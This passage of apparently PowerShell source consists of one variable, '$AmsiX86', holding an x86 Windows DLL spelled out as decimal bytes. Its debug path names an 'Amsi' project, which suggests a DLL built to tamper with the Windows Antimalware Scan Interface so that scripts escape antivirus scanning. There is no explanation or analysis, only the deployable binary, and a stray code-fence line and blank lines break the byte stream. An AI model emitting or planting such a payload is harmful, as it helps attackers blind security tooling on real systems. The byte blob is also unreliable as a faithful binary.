    $AmsiX86 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 0 0 0 14 31 186 14
0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97
110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46
13 13 10 36 0 0 0 0 0 0 0 190 171 71 149 250 202 41 198 250 202 41 198 250 202 41 198
243 178 186 198 248 202 41 198 148 145 40 199 249 202 41 198 148 145 42 199 251 202
41 198 148 145 44 199 242 202 41 198 148 145 45 199 241 202 41 198 39 53 226 198 248
202 41 198 250 202 40 198 231 202 41 198 40 145 33 199 251 202 41 198 40 145 214 198
251 202 41 198 40 145 43 199 251 202 41 198 82 105 99 104 250 202 41 198 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 80 69 0 0 76 1 6 0 144 29 62 87 0 0 0 0 0 0 0 0 224 0 2 33 11 1
14 0 0 14 0 0 0 18 0 0 0 0 0 0 43 19 0 0 0 16 0 0 0 32 0 0 0 0 0 16 0 16 0 0 0 2 0 0
6 0 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 112 0 0 0 4 0 0 0 0 0 0 2 0 64 1 0 0 16 0 0 16 0 0
0 0 16 0 0 16 0 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 148 36 0 0 80 0 0 0 0 80 0 0 224 1
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 96 0 0 44 1 0 0 176 32 0 0 112 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 33 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 112
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 124 12
0 0 0 16 0 0 0 14 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97
0 0 220 7 0 0 0 32 0 0 0 8 0 0 0 18 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97
116 97 0 0 0 136 3 0 0 0 48 0 0 0 2 0 0 0 26 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192
46 103 102 105 100 115 0 0 20 0 0 0 0 64 0 0 0 2 0 0 0 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
64 0 0 64 46 114 115 114 99 0 0 0 224 1 0 0 0 80 0 0 0 2 0 0 0 30 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 64 0 0 64 46 114 101 108 111 99 0 0 44 1 0 0 0 96 0 0 0 2 0 0 0 32 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 64 0 0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 51 192 194 12 0 59 13 4 48 0 16 242 117 2 242 195 242 233 96 3 0 0 85 139 236 139
69 12 131 232 0 116 51 131 232 1 116 32 131 232 1 116 17 131 232 1 116 5 51 192 64
```

235 48 232 245 4 0 0 235 5 232 207 4 0 0 15 182 192 235 31 255 117 16 255 117 8 232
24 0 0 0 89 235 16 131 125 16 0 15 149 192 15 182 192 80 232 23 1 0 0 89 93 194 12 0
106 16 104 24 36 0 16 232 123 9 0 0 106 0 232 35 5 0 0 89 132 192 117 7 51 192 233
224 0 0 0 232 40 4 0 0 136 69 227 179 1 136 93 231 131 101 252 0 131 61 60 51 0 16 0
116 7 106 7 232 203 7 0 0 199 5 60 51 0 16 1 0 0 0 232 74 4 0 0 132 192 116 101 232
206 8 0 0 104 186 25 0 16 232 177 6 0 0 232 93 7 0 0 199 4 36 57 24 0 16 232 160 6 0
0 232 112 7 0 0 199 4 36 128 32 0 16 104 124 32 0 16 232 78 11 0 0 89 89 133 192 117
41 232 237 3 0 0 132 192 116 32 104 120 32 0 16 104 116 32 0 16 232 42 11 0 0 89 89
199 5 60 51 0 16 2 0 0 0 50 219 136 93 231 199 69 252 254 255 255 255 232 68 0 0 0
132 219 15 133 76 255 255 255 232 52 7 0 0 139 240 131 62 0 116 30 86 232 40 5 0 0 89
132 192 116 19 255 117 12 106 2 255 117 8 139 54 139 206 232 136 8 0 0 255 214 255 5
24 48 0 16 51 192 64 232 201 8 0 0 195 138 93 231 255 117 227 232 131 5 0 0 89 195
106 12 104 56 36 0 16 232 105 8 0 0 161 24 48 0 16 133 192 127 4 51 192 235 79 72 163
24 48 0 16 232 22 3 0 0 136 69 228 131 101 252 0 131 61 60 51 0 16 2 116 7 106 7 232
190 6 0 0 232 180 3 0 0 131 37 60 51 0 16 0 199 69 252 254 255 255 255 232 27 0 0 0
106 0 255 117 8 232 65 5 0 0 89 89 51 201 132 192 15 149 193 139 193 232 78 8 0 0 195
232 164 3 0 0 255 117 228 232 6 5 0 0 89 195 106 12 104 88 36 0 16 232 236 7 0 0 131
101 252 0 139 125 12 131 255 1 116 10 131 255 2 116 5 139 93 8 235 49 255 117 16 87
139 93 8 83 232 218 0 0 0 139 240 137 117 228 133 246 15 132 190 0 0 0 255 117 16 87
83 232 216 253 255 255 139 240 137 117 228 133 246 15 132 167 0 0 0 131 255 1 117 7
83 232 198 9 0 0 89 255 117 16 87 83 232 159 253 255 255 139 240 137 117 228 131 255
1 117 43 133 246 117 30 255 117 16 80 83 232 135 253 255 255 255 117 16 86 83 232 147
253 255 255 255 117 16 86 83 232 116 0 0 0 131 255 1 117 4 133 246 116 4 133 255 117
11 83 232 130 9 0 0 89 133 255 116 5 131 255 3 117 72 255 117 16 87 83 232 98 253 255
255 139 240 137 117 228 133 246 116 53 255 117 16 87 83 232 58 0 0 0 139 240 235 36
139 77 236 139 1 81 255 48 104 22 16 0 16 255 117 16 255 117 12 255 117 8 232 86 2 0
0 131 196 24 195 139 101 232 51 246 137 117 228 199 69 252 254 255 255 255 139 198
232 54 7 0 0 195 85 139 236 86 139 53 160 32 0 16 133 246 117 5 51 192 64 235 18 255
117 16 139 206 255 117 12 255 117 8 232 193 6 0 0 255 214 94 93 194 12 0 85 139 236
131 125 12 1 117 5 232 88 4 0 0 255 117 16 255 117 12 255 117 8 232 177 254 255 255
131 196 12 93 194 12 0 85 139 236 106 0 255 21 40 32 0 16 255 117 8 255 21 0 32 0 16
104 9 4 0 192 255 21 4 32 0 16 80 255 21 8 32 0 16 93 195 85 139 236 129 236 36 3 0 0
106 23 232 234 8 0 0 133 192 116 5 106 2 89 205 41 163 32 49 0 16 137 13 28 49 0 16
137 21 24 49 0 16 137 29 20 49 0 16 137 53 16 49 0 16 137 61 12 49 0 16 102 140 21 56
49 0 16 102 140 13 44 49 0 16 102 140 29 8 49 0 16 102 140 5 4 49 0 16 102 140 37 0
49 0 16 102 140 45 252 48 0 16 156 143 5 48 49 0 16 139 69 0 163 36 49 0 16 139 69 4
163 40 49 0 16 141 69 8 163 52 49 0 16 139 133 220 252 255 255 199 5 112 48 0 16 1 0
1 0 161 40 49 0 16 163 44 48 0 16 199 5 32 48 0 16 9 4 0 192 199 5 36 48 0 16 1 0 0 0
199 5 48 48 0 16 1 0 0 0 106 4 88 107 192 0 199 128 52 48 0 16 2 0 0 0 106 4 88 107
192 0 139 13 4 48 0 16 137 76 5 248 106 4 88 193 224 0 139 13 0 48 0 16 137 76 5 248
104 164 32 0 16 232 225 254 255 255 139 229 93 195 85 139 236 139 69 8 86 139 72 60 3
200 15 183 65 20 141 81 24 3 208 15 183 65 6 107 240 40 3 242 59 214 116 25 139 77 12
59 74 12 114 10 139 66 8 3 66 12 59 200 114 12 131 194 40 59 214 117 234 51 192 94 93
195 139 194 235 249 232 85 7 0 0 133 192 117 3 50 192 195 100 161 24 0 0 0 86 190 64
51 0 16 139 80 4 235 4 59 208 116 16 51 192 139 202 240 15 177 14 133 192 117 240 50
192 94 195 176 1 94 195 232 32 7 0 0 133 192 116 7 232 118 5 0 0 235 5 232 77 7 0 0
176 1 195 106 0 232 207 0 0 0 132 192 89 15 149 192 195 232 97 7 0 0 132 192 117 3 50
192 195 232 85 7 0 0 132 192 117 7 232 76 7 0 0 235 237 176 1 195 232 66 7 0 0 232 61
7 0 0 176 1 195 85 139 236 232 203 6 0 0 133 192 117 24 131 125 12 1 117 18 255 117
16 139 77 20 80 255 117 8 232 136 4 0 0 255 85 20 255 117 28 255 117 24 232 219 6 0 0
89 89 93 195 232 155 6 0 0 133 192 116 12 104 68 51 0 16 232 220 6 0 0 89 195 232 240
6 0 0 133 192 15 132 217 6 0 0 195 106 0 232 221 6 0 0 89 233 215 6 0 0 85 139 236
131 125 8 0 117 7 198 5 92 51 0 16 1 232 186 4 0 0 232 189 6 0 0 132 192 117 4 50 192
93 195 232 176 6 0 0 132 192 117 10 106 0 232 165 6 0 0 89 235 233 176 1 93 195 85
139 236 131 236 12 86 139 117 8 133 246 116 5 131 254 1 117 124 232 31 6 0 0 133 192
116 42 133 246 117 38 104 68 51 0 16 232 80 6 0 0 89 133 192 116 4 50 192 235 87 104
80 51 0 16 232 61 6 0 0 247 216 89 26 192 254 192 235 68 161 4 48 0 16 141 117 244 87
131 224 31 191 68 51 0 16 106 32 89 43 200 131 200 255 211 200 51 5 4 48 0 16 137 69
244 137 69 248 137 69 252 165 165 165 191 80 51 0 16 137 69 244 137 69 248 141 117

244 137 69 252 176 1 165 165 165 95 94 139 229 93 195 106 5 232 6 2 0 0 204 106 8 104
120 36 0 16 232 117 3 0 0 131 101 252 0 184 77 90 0 0 102 57 5 0 0 0 16 117 96 161 60
0 0 16 129 184 0 0 0 16 80 69 0 0 117 79 185 11 1 0 0 102 57 136 24 0 0 16 117 65 139
69 8 185 0 0 0 16 43 193 80 81 232 180 253 255 255 89 89 133 192 116 42 247 64 36 0 0
0 128 117 33 199 69 252 254 255 255 255 176 1 235 31 139 69 236 139 0 51 201 129 56 5
0 0 192 15 148 193 139 193 195 139 101 232 199 69 252 254 255 255 255 50 192 232 59 3
0 0 195 85 139 236 232 11 5 0 0 133 192 116 15 128 125 8 0 117 9 51 192 185 64 51 0
16 135 1 93 195 85 139 236 128 61 92 51 0 16 0 116 6 128 125 12 0 117 18 255 117 8
232 67 5 0 0 255 117 8 232 59 5 0 0 89 89 176 1 93 195 85 139 236 161 4 48 0 16 139
200 51 5 68 51 0 16 131 225 31 255 117 8 211 200 131 248 255 117 7 232 1 5 0 0 235 11
104 68 51 0 16 232 233 4 0 0 89 247 216 89 27 192 247 208 35 69 8 93 195 85 139 236
255 117 8 232 186 255 255 255 247 216 89 27 192 247 216 72 93 195 85 139 236 131 236
20 131 101 244 0 131 101 248 0 161 4 48 0 16 86 87 191 78 230 64 187 190 0 0 255 255
59 199 116 13 133 198 116 9 247 208 163 0 48 0 16 235 102 141 69 244 80 255 21 28 32
0 16 139 69 248 51 69 244 137 69 252 255 21 32 32 0 16 49 69 252 255 21 36 32 0 16 49
69 252 141 69 236 80 255 21 16 32 0 16 139 77 240 141 69 252 51 77 236 51 77 252 51
200 59 207 117 7 185 79 230 64 187 235 16 133 206 117 12 139 193 13 17 71 0 0 193 224
16 11 200 137 13 4 48 0 16 247 209 137 13 0 48 0 16 95 94 139 229 93 195 104 96 51 0
16 255 21 24 32 0 16 195 104 96 51 0 16 232 229 3 0 0 89 195 184 104 51 0 16 195 184
112 51 0 16 195 232 239 255 255 255 139 72 4 131 8 4 137 72 4 232 231 255 255 255 139
72 4 131 8 2 137 72 4 195 184 132 51 0 16 195 85 139 236 129 236 36 3 0 0 83 86 106
23 232 234 3 0 0 133 192 116 5 139 77 8 205 41 51 246 141 133 220 252 255 255 104 204
2 0 0 86 80 137 53 120 51 0 16 232 133 3 0 0 131 196 12 137 133 140 253 255 255 137
141 136 253 255 255 137 149 132 253 255 255 137 157 128 253 255 255 137 181 124 253
255 255 137 189 120 253 255 255 102 140 149 164 253 255 255 102 140 141 152 253 255
255 102 140 157 116 253 255 255 102 140 133 112 253 255 255 102 140 165 108 253 255
255 102 140 173 104 253 255 255 156 143 133 156 253 255 255 139 69 4 137 133 148 253
255 255 141 69 4 137 133 160 253 255 255 199 133 220 252 255 255 1 0 1 0 139 64 252
106 80 137 133 144 253 255 255 141 69 168 86 80 232 252 2 0 0 139 69 4 131 196 12 199
69 168 21 0 0 64 199 69 172 1 0 0 0 137 69 180 255 21 20 32 0 16 86 141 88 255 247
219 141 69 168 137 69 248 141 133 220 252 255 255 26 219 137 69 252 254 195 255 21 40
32 0 16 141 69 248 80 255 21 0 32 0 16 133 192 117 13 15 182 195 247 216 27 192 33 5
120 51 0 16 94 91 139 229 93 195 83 86 190 8 36 0 16 187 8 36 0 16 59 243 115 24 87
139 62 133 255 116 9 139 207 232 56 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91
195 83 86 190 16 36 0 16 187 16 36 0 16 59 243 115 24 87 139 62 133 255 116 9 139 207
232 13 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91 195 255 37 112 32 0 16 204 204
204 204 204 104 75 26 0 16 100 255 53 0 0 0 0 139 68 36 16 137 108 36 16 141 108 36
16 43 224 83 86 87 161 4 48 0 16 49 69 252 51 197 80 137 101 232 255 117 248 139 69
252 199 69 252 254 255 255 255 137 69 248 141 69 240 100 163 0 0 0 0 242 195 139 77
240 100 137 13 0 0 0 0 89 95 95 94 91 139 229 93 81 242 195 85 139 236 255 117 20 255
117 16 255 117 12 255 117 8 104 5 16 0 16 104 4 48 0 16 232 203 1 0 0 131 196 24 93
195 85 139 236 131 37 124 51 0 16 0 131 236 44 83 51 219 67 9 29 16 48 0 16 106 10
232 228 1 0 0 133 192 15 132 116 1 0 0 131 101 236 0 51 192 131 13 16 48 0 16 2 51
201 86 87 137 29 124 51 0 16 141 125 212 83 15 162 139 243 91 137 7 137 119 4 137 79
8 137 87 12 139 69 212 139 77 224 137 69 244 129 241 105 110 101 73 139 69 220 53 110
116 101 108 11 200 139 69 216 53 71 101 110 117 11 200 247 217 106 1 88 26 201 106 0
128 193 1 89 83 15 162 139 243 91 137 7 137 119 4 137 79 8 137 87 12 116 67 139 69
212 37 240 63 255 15 61 192 6 1 0 116 35 61 96 6 2 0 116 28 61 112 6 2 0 116 21 61 80
6 3 0 116 14 61 96 6 3 0 116 7 61 112 6 3 0 117 17 139 61 128 51 0 16 131 207 1 137
61 128 51 0 16 235 6 139 61 128 51 0 16 131 125 244 7 139 69 224 137 69 228 139 69
220 137 69 248 137 69 232 124 50 106 7 88 51 201 83 15 162 139 243 91 141 93 212 137
3 137 115 4 137 75 8 137 83 12 139 69 216 169 0 2 0 0 137 69 236 139 69 248 116 9 131
207 2 137 61 128 51 0 16 95 94 169 0 0 16 0 116 109 131 13 16 48 0 16 4 199 5 124 51
0 16 2 0 0 0 169 0 0 0 8 116 85 169 0 0 0 16 116 78 51 201 15 1 208 137 69 240 137 85
244 139 69 240 139 77 244 131 224 6 51 201 131 248 6 117 51 133 201 117 47 161 16 48
0 16 131 200 8 199 5 124 51 0 16 3 0 0 0 246 69 236 32 163 16 48 0 16 116 18 131 200
32 199 5 124 51 0 16 5 0 0 0 163 16 48 0 16 51 192 91 139 229 93 195 51 192 57 5 20
48 0 16 15 149 192 195 195 255 37 52 32 0 16 255 37 60 32 0 16 255 37 56 32 0 16 255
37 48 32 0 16 255 37 64 32 0 16 255 37 104 32 0 16 255 37 100 32 0 16 255 37 96 32 0

16 255 37 92 32 0 16 255 37 88 32 0 16 255 37 84 32 0 16 255 37 80 32 0 16 255 37 76
32 0 16 255 37 72 32 0 16 255 37 12 32 0 16 176 1 195 51 192 195 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 38 0 0 0 39 0
0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39 0 0 94 39 0 0
226 38 0 0 0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0 0 0 0 0 0 154
38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250 37 0 0 238 37
0 0 0 0 0 0 27 28 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 48 0 16 112 48 0 16 0 0 0 0 0 0 0 0 144 29 62 87
0 0 0 0 2 0 0 0 61 0 0 0 132 33 0 0 132 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 12 0 0 0
20 0 0 0 196 33 0 0 196 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 13 0 0 0 44 2 0 0 216 33
0 0 216 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 92 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 4 48 0 16 128 33 0 16 1 0 0 0 112 32 0 16 0 0 0 0 0 0 0 0 0
0 0 0 0 1 0 0 0 0 0 0 75 26 0 0 82 83 68 83 69 10 117 219 0 114 41 77 133 149 98 78
29 103 122 248 7 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109
115 105 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0 0
20 0 0 0 20 0 0 0 1 0 0 0 19 0 0 0 71 67 84 76 0 16 0 0 124 12 0 0 46 116 101 120 116
36 109 110 0 0 0 0 0 32 0 0 112 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 112 32 0 0 4
0 0 0 46 48 48 99 102 103 0 0 116 32 0 0 4 0 0 0 46 67 82 84 36 88 67 65 0 0 0 0 120
32 0 0 4 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 124 32 0 0 4 0 0 0 46 67 82 84 36 88
73 65 0 0 0 0 128 32 0 0 4 0 0 0 46 67 82 84 36 88 73 90 0 0 0 0 132 32 0 0 4 0 0 0
46 67 82 84 36 88 80 65 0 0 0 0 136 32 0 0 4 0 0 0 46 67 82 84 36 88 80 90 0 0 0 0
140 32 0 0 4 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 144 32 0 0 4 0 0 0 46 67 82 84 36
88 84 90 0 0 0 0 160 32 0 0 220 0 0 0 46 114 100 97 116 97 0 0 128 33 0 0 4 0 0 0 46
114 100 97 116 97 36 115 120 100 97 116 97 0 0 0 132 33 0 0 128 2 0 0 46 114 100 97
116 97 36 122 122 122 100 98 103 0 0 0 4 36 0 0 4 0 0 0 46 114 116 99 36 73 65 65 0 0
0 0 8 36 0 0 4 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 12 36 0 0 4 0 0 0 46 114 116
99 36 84 65 65 0 0 0 0 16 36 0 0 4 0 0 0 46 114 116 99 36 84 90 90 0 0 0 0 24 36 0 0
124 0 0 0 46 120 100 97 116 97 36 120 0 0 0 0 148 36 0 0 60 0 0 0 46 105 100 97 116
97 36 50 0 0 0 0 208 36 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 228 36 0 0
112 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 84 37 0 0 136 2 0 0 46 105 100 97 116 97
36 54 0 0 0 0 0 48 0 0 24 0 0 0 46 100 97 116 97 0 0 0 24 48 0 0 112 3 0 0 46 98 115
115 0 0 0 0 0 64 0 0 20 0 0 0 46 103 102 105 100 115 36 121 0 0 0 0 0 80 0 0 88 0 0 0
46 114 115 114 99 36 48 49 0 0 0 0 96 80 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 208 255 255 255 0
0 0 0 254 255 255 255 0 0 0 0 110 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212 255 255
255 0 0 0 0 254 255 255 255 0 0 0 0 233 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212
255 255 255 0 0 0 0 254 255 255 255 203 18 0 16 234 18 0 16 0 0 0 0 254 255 255 255 0
0 0 0 216 255 255 255 0 0 0 0 254 255 255 255 215 22 0 16 234 22 0 16 20 37 0 0 0 0 0
0 0 0 0 0 220 37 0 0 48 32 0 0 44 37 0 0 0 0 0 0 0 0 0 0 164 38 0 0 72 32 0 0 228 36
0 0 0 0 0 0 0 0 0 0 206 39 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198
38 0 0 0 39 0 0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39
0 0 94 39 0 0 226 38 0 0 0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0
0 0 0 0 0 154 38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250
37 0 0 238 37 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97
105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101 114 0 41 0 95 95 116
101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116 117 114 110 95 116
114 105 103 103 101 114 0 37 0 95 95 115 116 100 95 116 121 112 101 95 105 110 102
111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 72 0 109 101 109 115 101
116 0 0 53 0 95 101 120 99 101 112 116 95 104 97 110 100 108 101 114 52 95 99 111 109
109 111 110 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 56 0 95 105 110

105 116 116 101 114 109 0 57 0 95 105 110 105 116 116 101 114 109 95 101 0 65 0 95
115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 53 0 95 105 110 105 116 105
97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109 101
110 116 0 0 54 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105 116
95 116 97 98 108 101 0 0 62 0 95 114 101 103 105 115 116 101 114 95 111 110 101 120
105 116 95 102 117 110 99 116 105 111 110 0 36 0 95 101 120 101 99 117 116 101 95 111
110 101 120 105 116 95 116 97 98 108 101 0 31 0 95 99 114 116 95 97 116 101 120 105
116 0 23 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99 114
116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 130 5 85
110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101
114 0 0 67 5 83 101 116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105
111 110 70 105 108 116 101 114 0 9 2 71 101 116 67 117 114 114 101 110 116 80 114 111
99 101 115 115 0 97 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0
109 3 73 115 80 114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101
115 101 110 116 0 45 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67
111 117 110 116 101 114 0 10 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99
101 115 115 73 100 0 14 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100
73 100 0 0 214 2 71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108
101 84 105 109 101 0 75 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72
101 97 100 0 103 3 73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0
75 69 82 78 69 76 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 177 25 191 68 78 230 64 187 255 255 255 255 0 0 0 0 1 0
0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76 0 0 0 12 0 0 0 10 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
